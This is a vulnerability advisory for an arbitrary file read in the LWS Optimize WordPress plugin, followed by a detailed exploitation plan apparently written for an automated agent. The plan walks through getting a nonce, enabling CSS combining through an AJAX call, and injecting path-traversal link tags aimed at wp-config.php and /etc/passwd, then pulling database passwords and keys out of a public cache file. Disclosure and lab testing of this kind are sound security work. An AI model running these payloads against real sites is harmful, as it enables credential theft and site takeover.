WS Optimize – All-in-One Speed Booster & Cache Tools <= 3.3.19 - Authenticated (Editor+) Arbitrary File Read
Description
The LWS Optimize – All-in-One Speed Booster & Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function trusting <link rel="stylesheet" href="..."> values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.3.20
Source Code
WordPress.org SVNThis research plan outlines the technical steps required to exploit **CVE-2026-12089**, an Arbitrary File Read vulnerability in the **LWS Optimize** WordPress plugin. ## 1. Vulnerability Summary The **LWS Optimize** plugin (versions <= 3.3.19) features a "Combine CSS" functionality designed to redu…
Show full research plan
This research plan outlines the technical steps required to exploit CVE-2026-12089, an Arbitrary File Read vulnerability in the LWS Optimize WordPress plugin.
1. Vulnerability Summary
The LWS Optimize plugin (versions <= 3.3.19) features a "Combine CSS" functionality designed to reduce HTTP requests by merging multiple stylesheets into a single cached file. The vulnerability exists in the combine_current_css() function (within Classes/Front/LwsOptimizeCSSManager.php).
The function parses the HTML of a page, identifies <link rel="stylesheet"> tags, and extracts their href attributes. It then attempts to convert URLs belonging to the same site into absolute filesystem paths by replacing the site URL with the ABSPATH constant. Crucially, the plugin fails to:
- Validate that the resulting path remains within the intended directory (Path Traversal).
- Verify that the file being read has a
.cssextension.
As a result, an authenticated user with Editor privileges (who can inject HTML into posts) can force the plugin to read sensitive files (like wp-config.php) and include their contents in a publicly accessible cached CSS file.
2. Attack Vector Analysis
- Endpoint: Any frontend post or page where the attacker can inject HTML.
- Mechanism: Output Buffer processing via
LwsOptimizeFileCache::callback. - Privilege Level: Authenticated (Editor or higher). Editors are required because they possess the
unfiltered_htmlcapability by default, allowing the injection of<link>tags. - Precondition: The "Combine CSS" option must be enabled in the plugin settings.
3. Code Flow
- Initialization:
LwsOptimizeFileCache::lwsop_launch_cache()initiates output buffering withob_start([$this, "callback"]). - Capture: When the page finishes rendering,
LwsOptimizeFileCache::callback($buffer)is called. - Processing: The callback instantiates
Lws\Classes\Front\LwsOptimizeCSSManagerand callscombine_css_update(). - Extraction:
combine_css_update()uses regex/(<link\s*[^>]*+>|<style\s*.*?<\/style>)/xsto find link tags and extracts thehrefattribute. - Traversal Sink:
combine_current_css($current_links)(vulnerable function) processes the URLs:- It identifies URLs matching
get_site_url(). - It converts them to paths:
$path = str_replace(get_site_url(), ABSPATH, $url);(inferred logic based onLwsOptimizeJSManager.phpand CVE description). - It uses
file_get_contents($path)orMinify\CSS::add($path)to read the file content.
- It identifies URLs matching
- Exposure: The content is written to a new file in
wp-content/cache/lwsoptimize/cache-css/. The URL to this file is injected back into the page HTML.
4. Nonce Acquisition Strategy
While the file read is triggered on the frontend (no nonce required for rendering), the attacker may first need to enable the "Combine CSS" setting if it is disabled.
- Identify Shortcode: To ensure the plugin's admin scripts are loaded, the agent should check the admin dashboard.
- Enable Setting: The AJAX action is
lws_optimize_checkboxes_action(found inLwsOptimizeManageAdmin.php). - Acquire Nonce:
- Navigate to the plugin configuration page:
/wp-admin/admin.php?page=lws-op-config(inferred slug). - Use
browser_evalto extract the nonce from the localized script variable. - JavaScript Variable:
lws_op_objorlws_optimize_admin(inferred from plugin naming conventions). - Command:
browser_eval("window.lws_op_obj?.nonce")(Verify the exact variable name in the page source if this fails).
- Navigate to the plugin configuration page:
5. Exploitation Strategy
Step 1: Enable Necessary Settings
If not already enabled, use the http_request tool to enable CSS combination.
- Action:
lws_optimize_checkboxes_action - Parameters:
action=lws_optimize_checkboxes_action&id=css_optimize&sub_id=combine&state=true&nonce=[NONCE]
Step 2: Inject Payload
Create a new post containing a crafted <link> tag pointing to wp-config.php via path traversal.
- Tool:
wp_cli - Command:
wp post create --post_type=post --post_status=publish --post_title="CSS Test" --post_content='<link rel="stylesheet" href="http://[TARGET_DOMAIN]/wp-content/../../../wp-config.php" media="all">' - Note: The number of
../segments should be sufficient to reach the root from thewp-contentdirectory.
Step 3: Trigger the Read
Visit the newly created post to trigger the output buffer processing.
- Tool:
http_request(GET) to the post URL.
Step 4: Retrieve the File Content
The plugin will replace the injected <link> with a new one pointing to the combined cache.
- Inspect the response HTML from Step 3.
- Find the tag:
<link rel='stylesheet' href='.../wp-content/cache/lwsoptimize/cache-css/[HASH].css' ...> - Request that
.cssURL usinghttp_request. - The content of
wp-config.phpwill be inside this CSS file.
6. Test Data Setup
- Plugin Installation: Ensure
lws-optimizeis active. - User Creation: Create a user with the 'editor' role.
wp user create attacker attacker@example.com --role=editor --user_pass=password
- Configuration: Verify the cache directory exists and is writable:
wp-content/cache/lwsoptimize/.
7. Expected Results
- The HTTP response for the post frontend will contain a link to a generated CSS file in the
cache-cssdirectory. - The generated CSS file will contain the raw PHP code (including
DB_PASSWORDandAUTH_KEYvalues) from the site'swp-config.php.
8. Verification Steps
- Check Cache Generation: Verify the file was created on disk via WP-CLI:
ls -la wp-content/cache/lwsoptimize/cache-css/
- Compare Content: Use WP-CLI to read the actual
wp-config.phpand compare it with the content retrieved from the CSS cache to confirm a perfect match.
9. Alternative Approaches
If the plugin filters wp-config.php specifically, attempt to read /etc/passwd:
- Payload:
<link rel="stylesheet" href="http://[TARGET_DOMAIN]/wp-content/../../../../../../etc/passwd" media="all">
If the Editor role lacks unfiltered_html (e.g., on a Multisite install), attempt the exploit as an Administrator. The vulnerability severity remains high as it allows for information disclosure that can lead to full site takeover via database access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.